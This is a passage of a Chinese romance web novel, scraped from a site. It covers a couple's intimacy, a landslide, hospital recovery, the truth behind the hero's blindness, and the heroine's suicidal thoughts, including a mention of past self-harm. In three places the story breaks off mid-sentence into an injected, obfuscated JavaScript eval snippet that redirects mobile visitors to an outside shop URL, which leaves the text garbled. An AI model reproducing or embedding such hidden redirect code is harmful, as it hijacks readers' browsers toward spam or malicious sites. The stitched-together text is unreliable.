秦叠正要回答,忽然手机来电,打开又是余庆的鬼哭狼嚎:“师姐啊,我又失恋了!咱家温暖的港湾,还对弟弟敞开吗?我想姐夫了。” 秦叠有些怔愣地转头望向池晚桑,他明显是听见了,撇着嘴无奈地摇了摇头。 今晚他不想再过一次三人世界了,念睡前故事的时候,都有种照顾小朋友的感觉。 秦叠心领神会,转头对电话里说:“这几天你姐夫都太累了,你找周静昀吧啊,下回,下回给你做酸汤鱼。” 她速度非常快地挂了电话。 留下心碎师弟一枚,对着电话里“嘟嘟嘟”的忙音,顾影自怜中。 “看来之前余庆给你留下阴影了。”秦叠笑着挽着池晚桑的胳膊,“他这人就是话有点多……” “人还是很好的,我知道。”池晚桑很快接下去,他顿了顿,竟然有些委屈道,“就是难得和你一起待着。” 这说的是什么话?他们俩不是一直都在一起住吗? 不过秦叠没有问出去。 她想起之前自己也会和秦东柏,毫无目的地闯进池晚桑家,他好像一直以来都给人一种安全感。 她向池晚桑蹭了蹭,仰着头笑着说:“那就我们两个人。” 回去后,时间还早,两人说好晚点出去散步。趁着有空,秦叠不死心又把那把命运多舛的吉他给拿了出来,往桌上一敲。 “想听什么歌?” “《光棍》吧?”池晚桑也换上了软绵舒适的睡衣,盘着腿,兴致正盛,挑了挑眉说,“第一回遇见你,就听见这首歌。” 那还是师兄向师姐求婚的时候,转眼过去这么久了。 秦叠只记得那时,她还经常和余庆他们去小广场表演,那是学校社团免费的活动场所。社团来这里烘托气氛,市里也不会干预,顺手带动全民娱乐活动。 “那这样算起来,”秦叠拨动一个琶音,“还是你先找到我的。” 她也忽然凑到池晚桑面前,摒着气盯着他看了会儿,池晚桑可不会被她吓着,仰起头就要索吻。 秦叠笑着在他唇上飞速落下一个吻,转身拨动琴弦,“我以为——” 太久没表演,秦叠心里痒痒,又免费赠送了几个安可。她唱的口干舌燥,把吉他放回原位,学着池晚桑盘腿坐在沙发上,接过池晚桑递来的水杯,猛灌了口。 “怎么样?水平还不错吧?” 秦叠拿起桌上的小镜子,对着活动活动嘴巴,嘟着嘴的时候觉得怪好笑,要池晚桑也跟着做。 池晚桑在她面前没有办法,勉强嘟了嘟嘴。秦叠看见平日里走清冷范的池晚桑,鼓起肉嘟嘟的脸,傻乎乎的模样,她大笑着,往后仰倒去。 这种时候,池晚桑总是反应很快。虽然嘟着嘴,看着智商不太行,还是立马向秦叠伸过手去揽住她。 于是他就扑倒在秦叠身上。 旁边的岫白呜咽了声,团了团身子,将头埋了回去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954619|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灼热呼吸相互交缠,池晚桑双手撑在秦叠身侧,害怕压疼了她,睫毛却好像被她略显急促的呼吸给吹得颤了颤。 一瞬间,时间仿佛静止了,只留下墙上挂钟滴答滴答地转着。 窗户没关,晚风吹起淡黄色窗帘,轻轻柔柔,如海浪翻涌,晃晃荡荡中载着船上的人们进入梦中。 窗外忽然淅淅沥沥响起水声,池晚桑喉结滚了滚,问:“下雨了吗?” 这个时间点,应该是物业在清洗花坛旁边的泥土,之前秦叠注意到过,因为清洗的时间很不同寻常,这才留了点心思。 但她却只是盯着池晚桑,轻轻嗯了一声道:“那别出去了。” 两人迟迟没有动。 “你……”秦叠慢慢开口,说,“靠近点。” 语气里有些羞涩和扭捏,她知道自己脸已经烫得不像样子了,周围都是池晚桑身上的木质香味,脑子里一片混沌。 “秦叠,你……”池晚桑压抑着嗓子,捏紧撑在沙发上的拳头,“愿……” 唇上柔柔的触感将他最后一丝理智给击溃,他护住秦叠的脑袋,欺身覆了上去。 唇齿纠缠,津唾相渡,多年前所有的分别和悲伤都被蒙上了一层薄纱,再回头时,身边多了一个人,那个人牵着他的手,另一只手里也提着橘黄色的灯。 陪着他走向未知的黑暗。 “秦叠,我爱你。” 池晚桑轻轻吻在她眉心,双手将两侧碎发拨开。 “我也是。”秦叠红着脸回答。 “这一次,我不会再放手了。”池晚桑又往她的鼻尖亲了亲。 “让我记住你的模样。” 一次次吻逐渐向下,经过温热湿润的唇,白皙细腻的脸侧,逐渐往下。 秦叠难耐,仰起脖子,秀口微张。 本是胜雪的脸上,红晕像滴入水中一样,大片晕染开,教人心神荡漾。 “等等。”秦叠喘着未匀的气息,娇弱地说,“那个,有吗?” 她知道自己目前还没有做好准备成为母亲。 以往的经历虽然被她一次次在记忆里模糊,但过往的伤痛就像池晚桑说的。 说不疼,那是假的。 她害怕自己也会和惠熙一样,无意间的动作就会伤害小孩子的心。每每看见别人怀里白胖胖的小团子,她都害怕一个不留神,就不见了,或者摔烂在地上。 就像她梦中幻想过秦东柏缺胳膊少腿在路边要饭,骨瘦如柴。她害怕自己不够细心谨慎,害怕生命的出现。 她害怕那个责任。太沉重了。 秦叠抱着眼前的池晚桑,像是抚摸到了梦境,周围的家具陈设她已经如此熟悉,家里的气息也是。 她真的可以安定下来了吗? 池晚桑楞了瞬,大手抚摸过她眼角时,触碰到两行湿润。 他忽然停住,轻声问:“怎么了?” “……那个,有的。”他说出口也有些羞耻。 这声音就在耳边,好听得令人艳羡,嗓子里有低低砂砾感,却又极尽全力给她温柔。 是真的。 秦叠忽然伸手捏了捏池晚桑的脸,看着他小心谨慎,礼貌克制的模样。又莫名其妙地破涕而笑,她轻声说:“好。” 她双手圈住池晚桑脖子,稍微抬起头,贴着他耳郭,语气温柔缱绻。 “池晚桑,我爱你,要一直,一直在一起。” 61. episode61 奶黄色窗帷翻动过,清白月光溜着缝洒落两分,房间里暧昧缱绻,床上人影成双。 秦叠不知道自己究竟是何时睡去的,只觉得腰酸的要命,精疲力竭。但那心跳又不像是自己的,和另一个跳动声混杂在一起,有节奏而快速的律动。 池晚桑脑子也是浑的,因为看不见,周围一切触感对他来说都是敏锐而刺激的。像是内心掩埋了很久的野兽撕破了他竭力克制的理性和距离。对着面前的人,他总是情难自已,总会坏了规矩。 他只记得秦叠柔柔软软地埋在自己怀里,两人之间没有一丝缝隙,然后她说有些受不了了。 声音软软糯糯的,听着令人心疼。 他们就这样相拥着入眠。 池晚桑入睡前莫名其妙想起了下午的那个电话,还好。 还好,今天余庆没来。 阳光洒进来时,床上两人都还睡得昏昏沉沉,怀里的人动了动,膝盖轻抬碰到了不该碰的东西。 秦叠猛地睁开眼睛。 “早上好。”池晚桑并没有松开她,声音沉沉地在头顶响起,顺带打了个哈欠。 秦叠佯装什么都没发生的模样,仰着头亲了亲他的喉结,亲昵地笑着说:“早上好。” 池晚桑的眉头却是皱着的,好像,有些难耐。 他嗯了一声,闭着眼睛紧了紧怀抱,“就是这样对我说早上好的?” 以前看过那些电影电视剧,一个弱小的女子想要制服一个男子,必得攻其下盘。古往今来,无一例外。所以之前秦叠遇见危险,第一反应也是这个。 但她从来没细想过,这玩意儿能有那么疼吗?到地上打滚的程度?她貌似不太能想象。 而且刚才抬脚那个力度,好像,并不小。 秦叠脖子都快红透了,一头闷在池晚桑锁骨窝里,声音小小的,“抱歉,疼吗?” 池晚桑沉沉地笑了笑,埋头落在她额间一个吻,再将侧脸贴上去。他个子比秦叠高出一个头,这种拥抱姿势,像是想把秦叠整个人给塞进身体里。 “不疼了。你呢?还好吗?” 昨晚记得她累的快不行了,还要坚持爬起来清洗。池晚桑不肯,于是秦叠顺着他,软趴趴,像个树袋熊一样挂在池晚桑身上,随他慢慢地抱着自己走进浴缸里。 池晚桑感觉她好像真的很难受,有些愧疚。 秦叠不想再聊这么羞耻的事,将头扭到被窝里的方向,鼻头在他胸口哦蹭了蹭,声音隔着被子闷闷传来,“还行吧。” 但池晚桑还是给她放了一天的假,说这是老板娘的特殊待遇,本来就不平等。 秦叠也就答应了。 有种被明目张胆地偏爱的实感。 而且她昨天听见小橘子说想听小鸟的声音,病房里设施设备太齐全,隔音又好,安静得有些恐怖。而网络上现有的音频要么杂音太大,要么还有解说和广告。 她想单独给小橙子收一次音。 还有池晚桑,她也想去山上录些白噪音,晚上睡不着了可以听听。 于是池晚桑去聆镜之前,秦叠还是起床对着窗外叽里呱啦念了会儿绕口令,说是以后遇见个败类,能够脱口骂人。 他笑着让秦叠多喝水,少骂人,一个人去聆镜守场子。毕竟两人都不去的话,凭借那四个人丰富的大脑活动,指不定编排出什么狗血剧情。 秦叠在窗户边嗯了声,说会记得喝桌上的牛奶,不会让它冷了的。然后对着到了楼下的池晚桑举着牛奶干杯,目送他出小区门。 下一刻,秦叠溜进了卧室,从那衣柜里的纸箱子里,毫不费力翻出池晚桑的MP3。 印象中,刚遇见他的时候,他还经常拿到手上在听,到后来两人互相坦白之后,MP3就被尘封进箱子里了。 不过这也正好,给秦叠一个空隙把它给捞出来。 今天天气不错,秦叠打算去上次那个“含羞泉”那儿,生态环境丰富,人迹也不多,很适合收音。 天空蓝得澄澈,几朵白云沉在水里,没有被水波化开,慢慢悠悠游着。工作日人更少,秦叠循着记忆里的方向,往泉水所在走去。 她记得路并不简单,几乎要穿过一片野树林,才能柳暗花明。 嘘。 秦叠悄然站定,弯曲缠绕的香樟树上,停留了一只不知名的鸟,对着远方呼唤着什么。 声音清脆简洁,婉转又利落,不到拳头大的身体,肺活量倒是很足。 秦叠在这片林子中悄然不动,阳光稀稀拉拉落在她身上,还有不同形状叶片的影子,其中一片将将遮住她的眼睛。 她闭上眼睛,细细聆听这林间的一切,有落叶的生命流逝,有秋蚕破茧,壳上慢慢裂开一条缝隙,有树干里的经脉流动,源源不断供给常绿叶子的养分。 秋日,万物沉睡,又有万物复苏。 风掀起地上的残叶,带它最后看看天空的样子,又温柔地掩埋。 等着来年化成泥土。 秦叠长长地呼出一口气,好似做了个很长的梦,梦里她是一片叶子,在林间感受到了四季的轮换。 越往里走,人越安静,大自然越吵闹,只余花鸟虫鱼的舞会。 秦叠甚至讲电话都压低了嗓门,生怕打扰了这里存在的生灵。 可越来越吵,声音越来越大,夹杂着轰隆隆的闷声。 她皱着眉对着电话里,久久无语。 秦叠电话还留在耳边,听得里面的人告别,留下一阵忙音,僵在原地。 然后忽然瞳孔一缩。 头顶上没被植株覆盖的黄泥,在阳光下被晒得松软干燥,然后轰的一声。 灰尘四散,瞬间遮盖了她头顶的天空,像一张大网,而她是瓮中之鳖。 秦叠只是哼笑了声,自己根本挪不开腿,不知是太过震惊,还是意料之中。 往日的美好像个梦境,面前已经蔓延到鼻尖干涩呛人的泥土,还有看不清的前路,她感觉到好熟悉。 这种呼吸不上来的压抑感,也很熟悉,她一步也挪不开,死死地盯着那团黄雾,然后闭上眼睛想象被包裹的样子。 衣柜里的女孩早就死在了那个冬夜。 从此她像个孤魂游走在人世,她演技很好,知道什么人合群,她就去模仿。 甚至骗过了自己。 每次在超市里漫无目的地逛半天,然后发现什么也不想买的时候,她会惊醒。 然后像快要沉入井水的人,会随便抓住岸边的一个东西。她随手拿起一包假意挑选了很久的东西,塞进怀里,匆匆结账。 不知道多少次,她迷失在货架间。 明明离家就几百米的距离。 然后她听见了一个声音。 沉沉稳稳,淡雅温厚。 脚下千斤重似乎有所松懈,正要挪步间。 一个身影抢过来,一把拦住她的胳膊,带着她往下坠。 坠得并不远,只是磕磕绊绊地碰到周围的石地,她知道肯定划破了很多地方,但竟没有一丝痛楚。 即使温热的血液已经顺着皮肤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967904|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流动,痒痒的。 她伸手间,想抓住周围的什么东西,可两个人太重了,只是停顿了片刻不到。粗粝的树皮磨烂她掌心,继续顺着缓坡往下滚。 天旋地转。 等到一切都重新归于寂静的时候,两个人已经仰倒在树林间。 周围宁静如初,像是什么也没发生过。 “刚才为什么不躲开?” 池向榆还没缓过神来,胸口剧烈起伏,本身是来放风的,刚上来就看见那一幕。 要了命了。 秦叠也呆呆地看着天,尽量平复呼吸,嘴里只蹦出来两个字:“忘了。” 忽然想到什么,她猛地起身,眼睛里像是回过来一丝魂魄,问:“我MP3呢?” 池向榆听见这话,差点当场没着火,啧了一声扭过头去不想理她。 结果余光看见一个银色的东西,在落叶堆里露出一个角,而身后的人又在窸窸窣窣翻找周围。 他又啧了一声,“这儿呢。” “有啥可稀罕的,全是你自己的声音。” 这嫂子这么自恋的吗。 身后的人却停住了,过了半晌,一道声音幽幽地问:“里面,是什么?” 池向榆搬走的前一天晚上,趁着池晚桑洗澡,偷偷去听了他宝贝的MP3。 从那时候起,他就知道了池晚桑的秘密。 但他不知道秦叠搬去了哪里,也试图去找过她,但无异于大海捞针。 从那以后,他对秦叠并没有好感,就像是个欺骗他哥哥感情的渣渣。 秦叠将耳机塞进右耳,拉拉杂杂的电流声过后,耳边有自行车骑过坑坑洼洼水泥路,机械碰撞的脆响。 有不远处卖棉花糖的阿姨在吆喝,她记得那时候巷子口,总是有一只黑猫,昂首,骄傲地趴在矮墙上睥睨众生,从来不吃她给的零食…… 一瞬间像是回到那个微凉的午后。 “晚桑哥,你看我会模仿秦东柏……” 他一直在想她。 秦叠心里莫名有些酸涩。 从来以为自己是无处停留的浮萍,却忽然发现手边有一根线,那线洁白,惹眼且坚固。 某人的牵挂从没有断开,只是她忘了回头看。 在她难受,孤寂,找不到出路的时候,其实稍微用力拉一下,就能看见他。 他好像一直站在那个转角。 这种,被稳稳惦念着的感觉真好。 一直是某个人的挂碍,一直在某个人心里记着,会关心她的喜怒哀乐,会好奇她的生活琐碎,会爱她,会托着她。 枯涩的心里,像是涌进了一股暖流,而那闸门,是自己多年前亲手关上的。 “你不会才知道吧?”池向榆见她这幅样子,本想一骨碌站起来,却牵扯到伤口,扭曲地嚎叫,身体都快打结了。 没想到自己柔韧性还怪好。 他一瘸一拐走过去,摸着屁股点了点头,说:“也说得通,这么多年都没敢表白,池晚桑也够窝囊的。” 秦叠抬起手背擦了擦眼角,长呼一口气平缓心情。又四处望了一圈,不太好找出路。 虽然这里信号断了,但山脚那一大片狼藉,相信不一会儿就有人来找他们。 她摘下耳机垂下眸子,靠着一棵树坐下,触碰到背上的伤口,她不禁倒吸一口冷气,进而转头深长地,看着池向榆。 “你其实不是故意找你哥的茬吧?” 她说。 “池晚桑,到底是怎么失明的?” 62. episode62 按照池晚桑的说法,他是和父亲一同出的车祸。 在记忆中,这位池叔叔并不像他的老婆会区分对待两个小孩,那么为什么池向榆没有跟着去? 那个时候正值暑假,父子俩就把弟弟仍在家里,自己去玩? 而且池晚桑对自己眼睛的事情,除了牵扯上她,似乎一直是一种释然的状态。 像是很久之前就做好了心理准备,临上战场的士兵会和家人进行告别,做好这是最后一次相见的心理准备。 他给人就是这种感觉,似乎早就知道一切,淡然的,不着痕迹。 如果只是池晚桑和他爸爸出事,他妈妈又没有抚养池晚桑的打算,在得知自己丈夫去世后,大可以一走了之。 难道是因为残留的亲情,让她坚持照顾到这个小孩出院? 那这亲情又太廉价,太脆弱,风一吹就断了。 这些秦叠一直有所疑问,但是没敢问。 就像她也有很多过往没告诉池晚桑,因为她知道有些伤疤,再亲近的人,也不能因为好奇去揭。 她半阖着眼皮,玩弄手上的耳机线,继续说:“我第一次看见你不是在清远,而是在聆镜门口,对不对?” 她声音冷静而空灵,在看不到尽头的林间,染上一层清冷绿意。 池向榆怔愣着看向她,没否认。 “池晚桑小区楼下那个人,不是去搞破坏的。我一直以为是物业在收拾那些乱停放的自行车,这段日子没怎么看见他,于是那些车迟迟没人清理。” “我……”池向榆认命一般叹了口气,闭上眼睛,复又睁开说,“因为上次妈妈的事,不敢再去打扰他。” 秦叠牵起嘴角,勉强笑了笑,她后脑勺仰靠在树干上,鼻梁翘挺,薄唇微抿,但没什么血色。侧脸轮廓干净而迷人。 “果然。” 她没回头,看着树叶缝隙里的蓝天,旷远到包容一切,包括这里的苦难,宁静到波澜不惊,冷漠地看着别离。 “那你为什么,老是去找他的麻烦?” 池向榆不打算再隐瞒什么,索性也靠着树干坐下,“他刚毕业的时候,就在给我拿钱。他说,他知道我可能在那个家待不惯,想吃什么,想买什么就去花。” “我们俩,除了给钱拿钱之外,没什么交流。但我知道他那时候赚钱也不容易,老是自己一个人闷在家里。” 他虚着眼睛看见几米外的松树上,动作敏捷地攀过一只松鼠,“有一回,正好去见他,盲杖都不怎么熟练了,下个楼梯都费劲,要颤颤巍巍摸索半天。” “他那是把自己关太久了。我怕他有一天再也走不出来。” 池向榆忽然闭嘴,拧着眉毛,像是在压抑什么情绪。 医院,广场,咖啡厅,警察局,他都想办法让池晚桑进去了一趟。 秦叠有些苦笑不得。 “所以,你这么做都是因为他毕业后还一直想着你?” “不是。”池向榆声音淡下去很多,他喉结滚了滚,倏而紧闭着眼睛,眼泪顺着眼角无声无息地流出来。 他哽咽着说:“因为,本来失明的人……” “是我。” 秦叠脑子轰然炸开。 当时那次骑行,父子三人都去了。 池晚桑一直觉得是自己没把弟弟抱稳的原因。池向榆被甩了出去,撞在崖边礁石上。 池晚桑本科的专业本来是天文学。 那次,池晚桑情况也不容乐观,在他爸爸已经出了死亡证明的时候,他也快走到头了。 但他爸爸的眼角膜移植失败了。 当时情况紧急,在所有人都以为他会就此咽气的时候,池晚桑同意捐献眼角膜。 白布都盖上了一半,他好像懵懵懂懂间听见有人说高考录取结果出来了好些学校。 四周苍茫惨白一片,那个小城就在医疗程序没完全遵守的情况下,拿走了他的光明。 那时候,小城里的医院妇产科手术室都没办法保证完全无菌环境,疏漏百出。这点错误,在乎的人好像不多。 池晚桑也觉得,要是当时坚持让池向榆在家里写作业,或者用他本将死的身体护一下池向榆,会不会至少有一个人能完整地活下去。 听说伟大的父爱母爱,不论在何种紧急的情况下,第一反应都是去保护自己孩子。可事情突发的时候,池晚桑当时只有反射性自卫。 结果谁也没护住。 秦叠不敢相信地看着他,眼里满是不可置信和心痛难忍。 滚下来的时候,她忽然想到,人真的可以在一瞬间消失。那个时候的池晚桑又是怎样复杂的心情呢。 一个错误。 万劫不复。 “有人吗?”滑坡顶部传来救援人员的声音,秦叠正要回复。 又听见一个熟悉的声音,破碎而急促地喊她的名字。 “在这儿!”池向榆咬着牙护着断了右手,忍痛喊了声。 事故的起因是有人在水库周围发现了野生菌和野菜,然后一传十十传百,像是闹蝗灾一样,一群人风风火火来,满满当当归。 把这片山头给薅了个底朝天。 其中不乏欠缺常识的人,也不分辨是草是菜,是菌是毒,跟在别人屁股后面,看见绿色的就薅。 大规模,短暂性,快速的努力下,如旱灾过境。这片山,秃了。 秦叠被救上去的时候,池晚桑就在旁边站着。 他知道秦叠会来这边替小橙子收音,听到新闻的一刻,瞬间慌了。 令秦叠惊讶的是,池晚桑旁边是一辆摩托,有路人见他横冲直撞,问了两句,便用摩托载着他赶了过来。 不知道是刚坐完摩托的恐惧,还是对未知的秦叠的担忧。他右手紧紧捏着盲杖把手,因为太用力,盲杖反而立不稳,杵在地上无助地抖。 “池晚桑。”秦叠朝他喊了声,他眼睛里一片混沌,不知道在想些什么,拧在一起的眉头听见这句话后,朝着声音的来向微微舒展开,像是在期待她再多说些什么。 阳光下,他额角微微渗出薄汗,在这么凉的天里,粘黏了两绺湿发。 “我没事。” 她说。 秦叠又看了眼池向榆,偷偷摸摸的样子,明显是不想让池晚桑知道自己也在这里。她于是顺嘴道:“你弟弟也没事。” 池向榆弓着身子,正龇牙咧嘴悄无声息地叫疼,靠在医护人员身上要安静地溜进救护车,忽然脚底顿了下。 池向榆:…… 躺在病床上的时候,秦叠什么话也不想说,池晚桑也只是沉默地尽自己所能照顾她。 这是个两人间,旁边住着一个女人,说是在工地上出了事故,掉下了脚手架,还好没危及到生命。 丈夫和女儿一直在她旁边守着,渴了有水,饿了有饭。男人会在进门时说路过了她爱吃的那家店,问了医生后,顺路买了点零嘴给她。小孩子放学后还会把自己写的好的卷子拿到妈妈面前求表扬。 虽然他们穿的衣服来看,并不富裕,也不知道能否担负这次住院的费用,但是。 他们很幸福。 在苦难中,在秦叠眼里,也很幸福。 两张床之间有蓝色的帘子,一拉上,便勉强隔绝成两个独立的空间,两个空间的人都细细轻轻地说话,尽量不相互打扰。 秦叠这边靠近窗户,她将头转向窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984042|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外,过了半晌,她问: “你知道小橙子的事了吗?” 灾害发生前,她接到的电话是小橙子妈妈打来的,说他紧急发了场病,走了。 人是可以一瞬间消失的。 秦叠手里的设备里刚录好,那只秋日在枯枝上歌唱的鸟,一时不知所措。 再快一点,能不能赶上? 答案没了意义。 旁边病床小女孩又站得规规矩矩背诵今天学到的诗文。 “两个黄鹂鸣翠柳,一行白鹭上青天……” 她揉了揉因为一直没怎么眨,而酸痛的眼睛。 有的父母,和孩子就是没有缘分,小橙子是这样。而她也算另一种情况的有缘无分,对她来说父母不是可以遮风挡雨的港湾,却是屋漏偏逢的狂风暴雨。 池晚桑正在收拾床头东西的时候,顿了顿,沉声道:“知道。” 这情绪发泄的有些晚了,秦叠长叹一口气将头闷在被子里。如果世间所有不幸都能找到像陶渊明那样的“世外桃源”该有多好。 她感觉脑子是冰凉的,整个人麻木不仁,四肢沉重得抬不起来。而泪水已经无声无息地浸湿了一大片枕头。 她蜷缩着。 忽然感到隔着被子,有只手轻轻拍打在自己肩背上,温柔的,和缓的,同样没有声响,却强烈地表明着他的存在。 不知道这样拍了多久,等到被子里的人不再捂着自己抽搐哽咽,呼吸平缓。 池晚桑慢慢地将盖住头的被子折下一截,轻轻拂拭掉秦叠脸上的水痕。 睡一觉就好。 他知道秦叠的睡眠也不太安稳,不然何至于把自己灌醉了才去入睡。 偶尔失眠的晚间,也能听见客厅里蹑手蹑脚的声音,但他大部分时间,没去戳穿她。 他仰着头,轻轻眨了眨眼睛,苦涩地笑了笑。 这阵子,一个瞎子,眼泪还怪多。 他起身打算去另一间病房,将盲杖留在秦叠床边,让她醒来的时候能一眼看见。 池晚桑摸索着墙壁去了隔壁。 “哥?”池向榆百无聊赖躺在床上,他旁边躺着一位头发花白的老年人,不大声说话,根本听不见。大声说话,又牵扯到他伤口疼,只能哑巴着。 他看见池晚桑时,有些意外。 “你,怎么也在那儿?”池晚桑站在床前没动,语气里有些冰冷。 “碰巧呗,你家开的?不让人去?”池向榆显然是不能和他好好说话。 但池晚桑垂下眸子,沉声道:“谢谢你。” 秦叠向医护人员说了大致的事发过程时,他在旁边听见了,顺道也听进去了秦叠对池向榆英勇事迹的大肆渲染。 “啊?”池向榆显然楞了下,准备的呛词没呛着池晚桑,自己给噎了回去。 他忽然想起什么,有些担忧道:“那个……怎么说呢……秦叠,好像脑子有问题。” 池晚桑撩起眼皮,虽然目光没有实质,但看过来的瞳子,凶巴巴的,还是带着几分威胁。 池向榆连忙摆手解释,牵扯到自己伤口,暗骂了声“卧槽”,又补充回忆说:“当时,她其实可以躲开,虽然吧,人在遇到突发情况时,脑子会一阵空白,不知道怎么反应,楞在原地。” “但那个反应时间,我觉得,她好像,故意,没躲开……” 池向榆说这话时,斟酌了半天用词,才悄悄抬眼打量池晚桑的反应。 池晚桑却只是说:“我知道了。” 此时门外有个人用气声朝着池晚桑喊。 池向榆扭过头去,看见像个壁虎一样,扒在门上的余庆。 他不自觉皱了皱眉。 63. episode63 余庆探头探脑在门口,像个人机一样观察了半天后,看见池晚桑对面病床上的人动了下。 他的角度只能看见下半身,他以为是秦叠醒了。 “师姐啊!”余庆梨花带雨,朝着病床飞奔而去,“怎么就这么倒霉啊,快让弟弟看看你伤到哪里了,弟弟……” 腹中千回百转的情绪才刚抒发了个头子,在看见病床上一脸冷漠,用看二百五的眼神盯着着他的池向榆时。 余庆倒抽一口气,没再吐出来。 “是不是有病?”池向榆乜了他一眼,紧接着白眼翻上天。 “不过这边是外科,你怕不是走错了,应该去精神科。” 他看见余庆,气就不打一出来,前几天刚结的梁子,可没那么容易过。 “池向榆。”池晚桑冷厉地叫住他,皱了皱眉,示意他不要太无礼。 但余庆天生就缺了根筋,目光在两人面前逡巡了下,觉得择日不如撞日,既然这么巧,事情就一并给解决了。 他瞬间换上一副悲天悯人的表情,丝毫没有被池向榆吹胡子瞪眼给唬住。 余庆走出了舞台剧上,突闻情人噩耗,颤颤巍巍往情人墓边走过去的架势。一步一顿,一手掩嘴,就差双眼含泪,摇着头说苍天不公了。 “这是咱弟弟吧?”余庆扭头看向池晚桑,造作地问,“晚桑哥,弟弟怎么了?” 池向榆差点没暴起,谁他妈是你弟弟! 池晚桑可看不见他们俩剑拔弩张的气势,说:“事发的时候,他和秦叠在一起。” “哎呀!”余庆用力拍了拍大腿,吓得隔壁床的老爷爷都朝这边看了眼,“老天无眼啊,怎么偏叫咱的人都给遇上了。” 他又转头看向池向榆,做足了高年级学长的气势,关切道:“向榆啊,怎么样,难受吗?” 难受你家大黄狗的二舅姨夫。 池向榆闭上眼睛,表示此人不在。 看着池晚桑似乎对自己当时把他弟弟给打了的事,并不上心,余庆也不想和这尊铁面佛纠缠,问了池晚桑秦叠的病房就要出去。 后来周静昀下课赶到的时候,余庆在秦叠病床边唾沫横飞,一会儿说二食堂的饭变得又贵又难吃,一会儿说学校里的野猫不知道在哪儿找到真爱,肚子明显大了好多。 他甚至把这几天在哪栋教学楼的厕所里开了盲盒,买的外卖又被哪个不长眼的人给偷了,送给那人□□堵住的美好祝愿,拉拉杂杂都讲了出来。 就连平日里不苟言笑的池晚桑斜靠在窗边,嘴角都不时抬高。但床上的人只是安静地听着。 周静昀觉得秦叠状态不好,没说几句便拉着余庆走了,不然不知道这家伙会不会把哪个同学出柜了,哪个老师又闹八卦了,全给抖一遍。 那可就太多了…… 临走时她问了下池晚桑,秦叠的情况,池晚桑也只是说吓着了,没什么大问题。 就这么互相试探着,佯装着没什么大不了地住了几天院。 秦叠也只是解释一场意外,还宽慰池晚桑多去看看池向榆。 在最后一片叶子落下的瞬间,初雪悄无声息地来了。隔壁病床上那家人也搬走了,再过不了多久,秦叠也可以离开这里。 下雪这天,她做了一个梦,梦见自己被永远困在那个山坡下,躲在一个洞里。 她知道池晚桑在头顶山坡上找她,却一直没有回应。然后下起了雪,大雪将万事万物给覆盖,软绵绵的白下面,却是一道道暗红的血迹。 她忽然有些害怕了,想大声呼救。可风雪也变得大了起来,干枯枝丫发出旧船木在海浪中,快要摇散架的声响。 雪掩埋了耳语,困住了声音。 一切都晚了。 秦叠猛地惊醒,窗外因为一片雪白,世界在月光下并没有那么黑暗。 池晚桑在床边搭了个简易小床,每晚都在。可今天偏偏有事,给她打过招呼了。 病房里就只有她一个人,秦叠踩上窗边池晚桑常睡的那个小床,打开半扇窗户,冷风呼呼将她头发全给鼓到脑后。因为风太过猛烈,甚至一时间没有呼吸上来。 这里是三楼。 她往下望了望。 会很疼。 她以前试过用碎瓷片,也很疼。 她从来知道好事不会一直留在自己这边。好不容易上了大学,每天却要兼职两份工,就是不想再欠那个家庭一分一毫;毕业了以为可以有自己的生活了,秦东柏却找到了。还不如没找到。 遇见的池晚桑失明了,遇见的小橙子去世了。 她知道生活不尽如人意,日子也没有那么顺利。 但这也,太他妈操蛋了。 话说回来小橙子葬礼她还没去呢。 风雪夜中,医院一层昏黄的灯下,有一人拄着一根黑色的棍子,黑色呢绒大衣穿在他身上挺拔而干练。 他没打伞,雪花落在他发尖,睫毛,肩膀,积了薄薄一层。他肤色本就浅,看着更加冷。 只是呼出来的暖气肉眼可见。 秦叠忙关上窗户,弹簧床上不容易站稳,一着急,脚给扭了下。她慌慌叨叨穿好外套就要出门。 傍晚住院部的走廊里,几乎没什么人,柜台里面的护士昏昏欲睡,走廊两侧的窗户被风吹得哗哗作响。 秦叠裹了裹身上的外套。这还是之前池晚桑让她多出去走动的时候,带到医院来的。 路过上楼的池晚桑时,秦叠脚步顿了下。 来人一身风雪味,因为刚从室外来的原因,浑身上下都散发着冰霜的气息。他就在三楼的楼梯口站着搓手,想去除这一身冰冷再去看秦叠。 但秦叠要去看小橙子,不然来不及了。 她径直走了过去。 手腕却忽然被抓住。秦叠愣在原地,两人都没说话,楼梯间的声控灯熄灭了。 池晚桑仍旧靠在墙边,楼梯间外面的照明将他的阴影拉得很长,落在秦叠前面,他穿的不厚,影子显得更加单薄。 秦叠见那影子微微张了口,池晚桑用另一只手捂着嘴咳嗽了两声。 